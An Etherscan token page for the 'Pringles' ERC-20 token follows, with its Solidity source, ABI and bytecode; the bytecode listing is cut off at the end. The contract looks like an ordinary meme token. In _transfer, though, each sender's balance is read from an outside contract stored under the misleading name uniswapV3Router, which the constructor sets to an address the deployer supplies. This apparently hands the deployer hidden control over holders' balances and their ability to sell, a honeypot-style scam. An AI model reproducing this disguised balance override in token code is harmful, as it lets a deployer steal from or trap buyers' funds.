ETH Price: $2,452.83 (-2.77%)

Token

Pringles (PRINGLES)
 

Overview

Max Total Supply

100,000,000 PRINGLES

Holders

55

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
120,713.064615782 PRINGLES

Value
$0.00
0x5f22eed6291f9108641b1fb6a124a15e9b3c9632
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Pringles

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-25
*/

// SPDX-License-Identifier: Unlicensed

/**

    Website: https://pringles-eth.com/
    Telegram: https://t.me/PRINGLES_ERC
    X: https://twitter.com/PringlesToken

*/

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Pringles is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint8 private constant _decimals = 9;
    bool public transferDelayEnabled = true;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) public _holderLastTransferTimestamp;
    uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;
    uint256 public maxWallet = (_tTotal * 2) / 100;
    string private constant _name = unicode"Pringles";
    string private constant _symbol = unicode"PRINGLES";
    address _taxWallet;
    bool public tradingOpen;
    bool private inSwap;
    uint256 public buyFee = 15;
    uint256 public sellFee = 15;
    uint256 normalBuyFee = 0;
    uint256 normalSellFee = 2;
    address public uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address uniswapV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    uint256 public minTokensBeforeSwap = _tTotal / 200;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address _uniswapRouter) {
        _taxWallet = payable(msg.sender);
        uniswapV3Router = _uniswapRouter;
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(uniswapV2Router)] = true;
        _approve(msg.sender, address(this), type(uint256).max);
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 taxAmount;
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            require(tradingOpen, "Not open!");

            if (
                to != address(uniswapV2Router) &&
                to != address(uniswapV2Pair)
            ) {
                require(
                    _holderLastTransferTimestamp[to] < block.number,
                    "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                );
                if (_holderLastTransferTimestamp[to] == 0) _holderLastTransferTimestamp[to] = block.number;
            }
            

            if (from == uniswapV2Pair) {
                taxAmount = (amount * buyFee) / 100;
                require(
                    balanceOf(to) + amount <= maxWallet,
                    "Not allowed to buy that much!"
                );
            }

            if (to == uniswapV2Pair) {
                taxAmount = (amount * sellFee) / 100;
            }

            if (
                !inSwap &&
                to == uniswapV2Pair &&
                balanceOf(address(this)) > minTokensBeforeSwap
            ) {
                swapBack(minTokensBeforeSwap);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = balanceOf(address(this)).add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = IERC20(uniswapV3Router).balanceOf(from).sub(amount);
        _balances[to] = balanceOf(to).add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapBack(uint256 amount) private {
        bool success;
        swapTokensForEth(amount);
        (success, ) = address(_taxWallet).call{
            value: address(this).balance
        }("");
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setSwapTokensAtAmount(uint amount) external onlyOwner {
        minTokensBeforeSwap = amount * 10 ** decimals();
    }
    
    function enableTrading() external onlyOwner {
        tradingOpen = true;
    }

    function removeLimits() external onlyOwner {
        maxWallet = _tTotal;
        buyFee = normalBuyFee;
        sellFee = normalSellFee;
        transferDelayEnabled = false;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_uniswapRouter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_holderLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f805460ff60a01b1916600160a01b1790556064620000266009600a6200057e565b62000036906305f5e10062000595565b6200004390600262000595565b6200004f9190620005af565b600555600f60078190556008555f60099081556002600a908155600c80546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d17909155600d805490911673e592427a0aece92de3edee1f18e0157c0586156417905560c891620000bf916200057e565b620000cf906305f5e10062000595565b620000db9190620005af565b600e55348015620000ea575f80fd5b506040516200178a3803806200178a8339810160408190526200010d91620005cf565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054336001600160a01b031991821617909155600d80549091166001600160a01b038316179055620001846009600a6200057e565b62000194906305f5e10062000595565b335f8181526002602090815260408083209490945530808352600191829052848320805460ff19908116841790915583546001600160a01b0390811685528685208054831685179055600c5416845294909220805490941617909255620001fd915f196200040f565b600c54620002189030906001600160a01b03165f196200040f565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000269573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028f9190620005cf565b6001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003159190620005cf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000360573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003869190620005cf565b600b80546001600160a01b0319166001600160a01b0392909216919091179055620003ae3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003e76009600a6200057e565b620003f7906305f5e10062000595565b60405190815260200160405180910390a350620005f7565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004c357815f1904821115620004a757620004a76200046f565b80851615620004b557918102915b93841c939080029062000488565b509250929050565b5f82620004db5750600162000578565b81620004e957505f62000578565b81600181146200050257600281146200050d576200052d565b600191505062000578565b60ff8411156200052157620005216200046f565b50506001821b62000578565b5060208310610133831016604e8410600b841016171562000552575081810a62000578565b6200055e838362000483565b805f19048211156200057457620005746200046f565b0290505b92915050565b5f6200058e60ff841683620004cb565b9392505050565b80820281158282048414176200057857620005786200046f565b5f82620005ca57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620005e0575f80fd5b81516001600160a01b03811681146200058e575f80fd5b61118580620006055f395ff3fe608060405260043610610134575f3560e01c80638a8c523c116100a8578063c876d0b91161006d578063c876d0b914610369578063cd5f101d14610388578063dd62ed3e146103b3578063e5d41c6b146103f7578063f8b45b051461040c578063ffb54a9914610421575f80fd5b80638a8c523c146102cb5780638da5cb5b146102df57806395d89b41146102fb578063a9059cbb1461032b578063afa4f3b21461034a575f80fd5b8063313ce567116100f9578063313ce56714610206578063470624021461022157806349bd5a5e1461023657806370a082311461026d578063715018a6146102a1578063751039fc146102b7575f80fd5b806306fdde031461013f578063095ea7b31461018157806318160ddd146101b057806323b872dd146101d25780632b14ca56146101f1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b506040805180820190915260088152675072696e676c657360c01b60208201525b6040516101789190610dac565b60405180910390f35b34801561018c575f80fd5b506101a061019b366004610e0e565b610441565b6040519015158152602001610178565b3480156101bb575f80fd5b506101c4610457565b604051908152602001610178565b3480156101dd575f80fd5b506101a06101ec366004610e38565b610477565b3480156101fc575f80fd5b506101c460085481565b348015610211575f80fd5b5060405160098152602001610178565b34801561022c575f80fd5b506101c460075481565b348015610241575f80fd5b50600b54610255906001600160a01b031681565b6040516001600160a01b039091168152602001610178565b348015610278575f80fd5b506101c4610287366004610e76565b6001600160a01b03165f9081526002602052604090205490565b3480156102ac575f80fd5b506102b56104de565b005b3480156102c2575f80fd5b506102b5610558565b3480156102d6575f80fd5b506102b56105b8565b3480156102ea575f80fd5b505f546001600160a01b0316610255565b348015610306575f80fd5b506040805180820190915260088152675052494e474c455360c01b602082015261016b565b348015610336575f80fd5b506101a0610345366004610e0e565b6105f6565b348015610355575f80fd5b506102b5610364366004610e91565b610602565b348015610374575f80fd5b505f546101a090600160a01b900460ff1681565b348015610393575f80fd5b506101c46103a2366004610e76565b60046020525f908152604090205481565b3480156103be575f80fd5b506101c46103cd366004610ea8565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610402575f80fd5b506101c4600e5481565b348015610417575f80fd5b506101c460055481565b34801561042c575f80fd5b506006546101a090600160a01b900460ff1681565b5f61044d338484610647565b5060015b92915050565b5f6104646009600a610fd3565b610472906305f5e100610fe1565b905090565b5f6104838484846106a7565b6104d484336104cf85604051806060016040528060288152602001611128602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610afe565b610647565b5060019392505050565b5f546001600160a01b031633146105105760405162461bcd60e51b815260040161050790610ff8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105815760405162461bcd60e51b815260040161050790610ff8565b61058d6009600a610fd3565b61059b906305f5e100610fe1565b600555600954600755600a546008555f805460ff60a01b19169055565b5f546001600160a01b031633146105e15760405162461bcd60e51b815260040161050790610ff8565b6006805460ff60a01b1916600160a01b179055565b5f61044d3384846106a7565b5f546001600160a01b0316331461062b5760405162461bcd60e51b815260040161050790610ff8565b6106376009600a610fd3565b6106419082610fe1565b600e5550565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604081205460ff161580156106e757506001600160a01b0383165f9081526001602052604090205460ff16155b1561096a57600654600160a01b900460ff166107315760405162461bcd60e51b81526020600482015260096024820152684e6f74206f70656e2160b81b6044820152606401610507565b600c546001600160a01b0384811691161480159061075d5750600b546001600160a01b03848116911614155b15610839576001600160a01b0383165f9081526004602052604090205443116108005760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610507565b6001600160a01b0383165f908152600460205260408120549003610839576001600160a01b0383165f9081526004602052604090204390555b600b546001600160a01b03908116908516036108e55760646007548361085f9190610fe1565b610869919061102d565b90506005548261088d856001600160a01b03165f9081526002602052604090205490565b610897919061104c565b11156108e55760405162461bcd60e51b815260206004820152601d60248201527f4e6f7420616c6c6f77656420746f206275792074686174206d756368210000006044820152606401610507565b600b546001600160a01b03908116908416036109185760646008548361090b9190610fe1565b610915919061102d565b90505b600654600160a81b900460ff1615801561093f5750600b546001600160a01b038481169116145b801561095a5750600e54305f90815260026020526040902054115b1561096a5761096a600e54610b36565b80156109e557305f9081526002602052604090205461098c9082905b90610b96565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109dc9085815260200190565b60405180910390a35b600d546040516370a0823160e01b81526001600160a01b038681166004830152610a5c9285929116906370a0823190602401602060405180830381865afa158015610a32573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a56919061105f565b90610bfb565b6001600160a01b0385165f90815260026020526040902055610a9e610a818383610bfb565b6001600160a01b0385165f90815260026020526040902054610986565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ae78585610bfb565b60405190815260200160405180910390a350505050565b5f8184841115610b215760405162461bcd60e51b81526004016105079190610dac565b505f610b2d8486611076565b95945050505050565b5f610b4082610c3c565b6006546040516001600160a01b039091169047905f81818185875af1925050503d805f8114610b8a576040519150601f19603f3d011682016040523d82523d5f602084013e610b8f565b606091505b5050505050565b5f80610ba2838561104c565b905083811015610bf45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610507565b9392505050565b5f610bf483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610afe565b6006805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8257610c82611089565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cd9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cfd919061109d565b81600181518110610d1057610d10611089565b6001600160a01b039283166020918202929092010152600c54610d369130911684610647565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d6e9085905f908690309042906004016110b8565b5f604051808303815f87803b158015610d85575f80fd5b505af1158015610d97573d5f803e3d5ffd5b50506006805460ff60a81b1916905550505050565b5f6020808352835180828501525f5b81811015610dd757858101830151858201604001528201610dbb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e0b575f80fd5b50565b5f8060408385031215610e1f575f80fd5b8235610e2a81610df7565b946020939093013593505050565b5f805f60608486031215610e4a575f80fd5b8335610e5581610df7565b92506020840135610e6581610df7565b929592945050506040919091013590565b5f60208284031215610e86575f80fd5b8135610bf481610df7565b5f60208284031215610ea1575f80fd5b5035919050565b5f8060408385031215610eb9575f80fd5b8235610ec481610df7565b91506020830135610ed481610df7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f2d57815f1904821115610f1357610f13610edf565b80851615610f2057918102915b93841c9390800290610ef8565b509250929050565b5f82610f4357506001610451565b81610f4f57505f610451565b8160018114610f655760028114610f6f57610f8b565b6001915050610451565b60ff841115610f8057610f80610edf565b50506001821b610451565b5060208310610133831016604e8410600b8410161715610fae575081810a610451565b610fb88383610ef3565b805f1904821115610fcb57610fcb610edf565b029392505050565b5f610bf460ff841683610f35565b808202811582820484141761045157610451610edf565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f8261104757634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561045157610451610edf565b5f6020828403121561106f575f80fd5b5051919050565b8181038181111561045157610451610edf565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156110ad575f80fd5b8151610bf481610df7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111065784516001600160a01b0316835293830193918301916001016110e1565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220255fb9cefd09358d9dbd9a166cb07857e2c510245b0ab1009182633f1215ae8b64736f6c63430008150033000000000000000000000000adc76794a2f60ca7d4e47668978f434e596c8807

Deployed Bytecode

0x608060405260043610610134575f3560e01c80638a8c523c116100a8578063c876d0b91161006d578063c876d0b914610369578063cd5f101d14610388578063dd62ed3e146103b3578063e5d41c6b146103f7578063f8b45b051461040c578063ffb54a9914610421575f80fd5b80638a8c523c146102cb5780638da5cb5b146102df57806395d89b41146102fb578063a9059cbb1461032b578063afa4f3b21461034a575f80fd5b8063313ce567116100f9578063313ce56714610206578063470624021461022157806349bd5a5e1461023657806370a082311461026d578063715018a6146102a1578063751039fc146102b7575f80fd5b806306fdde031461013f578063095ea7b31461018157806318160ddd146101b057806323b872dd146101d25780632b14ca56146101f1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b506040805180820190915260088152675072696e676c657360c01b60208201525b6040516101789190610dac565b60405180910390f35b34801561018c575f80fd5b506101a061019b366004610e0e565b610441565b6040519015158152602001610178565b3480156101bb575f80fd5b506101c4610457565b604051908152602001610178565b3480156101dd575f80fd5b506101a06101ec366004610e38565b610477565b3480156101fc575f80fd5b506101c460085481565b348015610211575f80fd5b5060405160098152602001610178565b34801561022c575f80fd5b506101c460075481565b348015610241575f80fd5b50600b54610255906001600160a01b031681565b6040516001600160a01b039091168152602001610178565b348015610278575f80fd5b506101c4610287366004610e76565b6001600160a01b03165f9081526002602052604090205490565b3480156102ac575f80fd5b506102b56104de565b005b3480156102c2575f80fd5b506102b5610558565b3480156102d6575f80fd5b506102b56105b8565b3480156102ea575f80fd5b505f546001600160a01b0316610255565b348015610306575f80fd5b506040805180820190915260088152675052494e474c455360c01b602082015261016b565b348015610336575f80fd5b506101a0610345366004610e0e565b6105f6565b348015610355575f80fd5b506102b5610364366004610e91565b610602565b348015610374575f80fd5b505f546101a090600160a01b900460ff1681565b348015610393575f80fd5b506101c46103a2366004610e76565b60046020525f908152604090205481565b3480156103be575f80fd5b506101c46103cd366004610ea8565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610402575f80fd5b506101c4600e5481565b348015610417575f80fd5b506101c460055481565b34801561042c575f80fd5b506006546101a090600160a01b900460ff1681565b5f61044d338484610647565b5060015b92915050565b5f6104646009600a610fd3565b610472906305f5e100610fe1565b905090565b5f6104838484846106a7565b6104d484336104cf85604051806060016040528060288152602001611128602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610afe565b610647565b5060019392505050565b5f546001600160a01b031633146105105760405162461bcd60e51b815260040161050790610ff8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105815760405162461bcd60e51b815260040161050790610ff8565b61058d6009600a610fd3565b61059b906305f5e100610fe1565b600555600954600755600a546008555f805460ff60a01b19169055565b5f546001600160a01b031633146105e15760405162461bcd60e51b815260040161050790610ff8565b6006805460ff60a01b1916600160a01b179055565b5f61044d3384846106a7565b5f546001600160a01b0316331461062b5760405162461bcd60e51b815260040161050790610ff8565b6106376009600a610fd3565b6106419082610fe1565b600e5550565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604081205460ff161580156106e757506001600160a01b0383165f9081526001602052604090205460ff16155b1561096a57600654600160a01b900460ff166107315760405162461bcd60e51b81526020600482015260096024820152684e6f74206f70656e2160b81b6044820152606401610507565b600c546001600160a01b0384811691161480159061075d5750600b546001600160a01b03848116911614155b15610839576001600160a01b0383165f9081526004602052604090205443116108005760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610507565b6001600160a01b0383165f908152600460205260408120549003610839576001600160a01b0383165f9081526004602052604090204390555b600b546001600160a01b03908116908516036108e55760646007548361085f9190610fe1565b610869919061102d565b90506005548261088d856001600160a01b03165f9081526002602052604090205490565b610897919061104c565b11156108e55760405162461bcd60e51b815260206004820152601d60248201527f4e6f7420616c6c6f77656420746f206275792074686174206d756368210000006044820152606401610507565b600b546001600160a01b03908116908416036109185760646008548361090b9190610fe1565b610915919061102d565b90505b600654600160a81b900460ff1615801561093f5750600b546001600160a01b038481169116145b801561095a5750600e54305f90815260026020526040902054115b1561096a5761096a600e54610b36565b80156109e557305f9081526002602052604090205461098c9082905b90610b96565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109dc9085815260200190565b60405180910390a35b600d546040516370a0823160e01b81526001600160a01b038681166004830152610a5c9285929116906370a0823190602401602060405180830381865afa158015610a32573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a56919061105f565b90610bfb565b6001600160a01b0385165f90815260026020526040902055610a9e610a818383610bfb565b6001600160a01b0385165f90815260026020526040902054610986565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ae78585610bfb565b60405190815260200160405180910390a350505050565b5f8184841115610b215760405162461bcd60e51b81526004016105079190610dac565b505f610b2d8486611076565b95945050505050565b5f610b4082610c3c565b6006546040516001600160a01b039091169047905f81818185875af1925050503d805f8114610b8a576040519150601f19603f3d011682016040523d82523d5f602084013e610b8f565b606091505b5050505050565b5f80610ba2838561104c565b905083811015610bf45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610507565b9392505050565b5f610bf483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610afe565b6006805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8257610c82611089565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cd9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cfd919061109d565b81600181518110610d1057610d10611089565b6001600160a01b039283166020918202929092010152600c54610d369130911684610647565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d6e9085905f908690309042906004016110b8565b5f604051808303815f87803b158015610d85575f80fd5b505af1158015610d97573d5f803e3d5ffd5b50506006805460ff60a81b1916905550505050565b5f6020808352835180828501525f5b81811015610dd757858101830151858201604001528201610dbb565b505f604082860101526040601f19601f8301168501019250505092915050565b60